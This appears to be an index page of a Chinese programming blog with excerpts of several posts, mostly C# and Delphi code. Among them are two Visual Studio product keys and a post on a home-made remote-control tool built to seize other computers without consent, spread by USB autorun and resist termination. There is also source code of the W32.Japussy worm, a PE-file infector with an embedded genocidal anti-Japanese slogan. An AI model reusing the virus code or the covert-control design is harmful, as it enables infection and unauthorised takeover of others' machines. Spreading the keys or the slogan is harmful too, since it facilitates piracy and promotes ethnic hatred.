十月 11th, 2020
Download .NET Framework 3.5 4.0 4.5 4.6 4.7 4.8 离线安装程序已关闭评论, 应用程序研发解决方案, by 小哥.
官网下载地址:https://visualstudio.microsoft.com/zh-hans/downloads/
Professional产品密钥:NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y
Enterprise产品密钥:BF8Y8-GN2QH-T84XB-QVY3B-RC4DF
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace HWL.LOCKDESKTOP
{
class Hook
{
//键盘Hook结构函数
[StructLayout(LayoutKind.Sequential)]
public class KeyBoardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
//委托
public delegate int HookProc(int nCode, int wParam, IntPtr lParam);
static int hHook = 0;
public const int WH_KEYBOARD_LL = 13;
(more…)
using System;
using System.IO;
using System.Security.Cryptography;
namespace HWL.FileEncrypt
{
//异常处理类
public class CryptoHelpException : ApplicationException
{
public CryptoHelpException(string msg) : base(msg) { }
}
public class DESFileClass
{
private const ulong FC_TAG = 0xFC010203040506CF;
private const int BUFFER_SIZE = 128 * 1024;
//检验两个Byte数组是否相同,true-相等
private static bool CheckByteArrays(byte[] b1, byte[] b2)
{
if (b1.Length == b2.Length)
{
for (int i = 0; i < b1.Length; ++i)
{
if (b1[i] != b2[i])
return false; (more…)
accdb 格式的数据库。access 数据格式已经从一种通用的格式转换为一种私有的格式了。
目前的 MDAC 2.8 SP8 和 JET DB 4.0 都不支持 accdb 格式的数据库。
但不排除以下可能:微软单独开发Microsoft.ACE.OLEDB.12.0的数据引擎安装包,只要安装了这种安装包即使在没有安装 access 2007 的电脑上也能通过编程操作 *.accdb 格式的数据库。
果然微软为新版本的 ACCESS 数据库格式以及 EXCEL 开发了新的单独安装的驱动,不过体积也真不小哦。
只要安装了以下驱动就不需要安装整个 OFFICE 2007 就可以通过连接字串驱动 *.ACCDB 格式的数据库了。
http://www.microsoft.com/downloads/details.aspx?familyid=7554F536-8C28-4598-9B72-EF94E038C891&displaylang=zh-cn
远程控制桌面v1.0版编码部分今天已经顺利完成!
开发语言:C#
开发工具:Visual Studio 2008
项目介绍:
为了方便监视他人计算机而开发出来的,远程控制,共包含[一个控制端,一个监控端]
使用方法:
在将要进行控制的计算机上启动客户端程序,在将要监视的计算机上运行服务端,现在您所需要的就是在服务端输入要监控计算机的IP,点击监控即可监控受监控计算机的屏幕,当点击控制的时候,即可完全操作客户端计算机,期间不需要任何Windows身份验证,不需要客户端请求同意,完全强制性控制计算机!
征求各大网友的要求,现把改软件的截图公布出来,以供大家欣赏其芳容。
监视端(Monitor)
监控中…
控制中…
控制端(Console)
技术领域:以TCP/IP为主,Bitmap,GDI
版本周期:从远程控制桌面v0.1开始 到 至今v1.0发布 未完待续…
开发周期:7天时间
测试周期:3天时间
测试记录:
2009.06.30 v0.3监控端多线程问题解决
2009.08.03 v0.4控制端占用系统CPU和内存过多资源问题解决
2009.08.05 v0.5控制端卡巴斯基杀毒软件抱恶意代码,未解决
2009.08.06 v0.6监控端增加了IP配置文件,修复了关闭服务端,程序还占用进程问题
2009.10.30 v0.7控制端增加程序通过U盘,移动硬盘AotoInfo自行传播复制到”C:Program FilesInternet Exploreriexplore.exe“和创建Windwos服务自启动功能
———————————————————–源码丢失
2011.01.04 v1.0 监控端新增窗口最大化。控制端新增保护进程,禁止结束进程
计划下个版本推出:控制端新增扫描端口,控制端连接气泡提示
program Project1;
uses
Windows,TlHelp32;
function LowerCase(const S: string): string; //转小写
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ‘A’) and (Ch <= ‘Z’) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
//CloseHandle(MutexHandle);
Result := False;
Exit;
end;
end;
Result := True;
end; (more…)
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end; (more...)
事件编号:20101118001
方法一
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
/*******************************
* 程序启动全屏
* Hewill
* 2009-08-21
******************************/
namespace WindowsFormsApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public const int HWND_NOTOPMOST= -2;
public const int SWP_SHOWWINDOW=0x0040;
[DllImport(“user32.dll”)]
private static extern IntPtr FindWindowEx(int hwnd2, int hWnd2, string lpsz1, string lpsz2);
[DllImport(“user32.dll”)]
private static extern int GetWindowLong (IntPtr hwnd, int nIndex);
[DllImport(“user32.dll”)]
private static extern int SetWindowPos(IntPtr hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private void Form1_Load(object sender, EventArgs e)
{
IntPtr test = FindWindowEx(0, 0, “Shell_TrayWnd”, “”);
Console.WriteLine(test.ToString());
int test5 = SetWindowPos(test, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_SHOWWINDOW);
this.TopMost = true;
this.FormBorderStyle = FormBorderStyle.None;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;
this.Top = 0;
this.Left = 0;
}
}
}
方法二:
private void button1_Click(object sender, EventArgs e)
{
if (this.FormBorderStyle == FormBorderStyle.None)
{
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.WindowState = FormWindowState.Normal;
}
else
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
}
}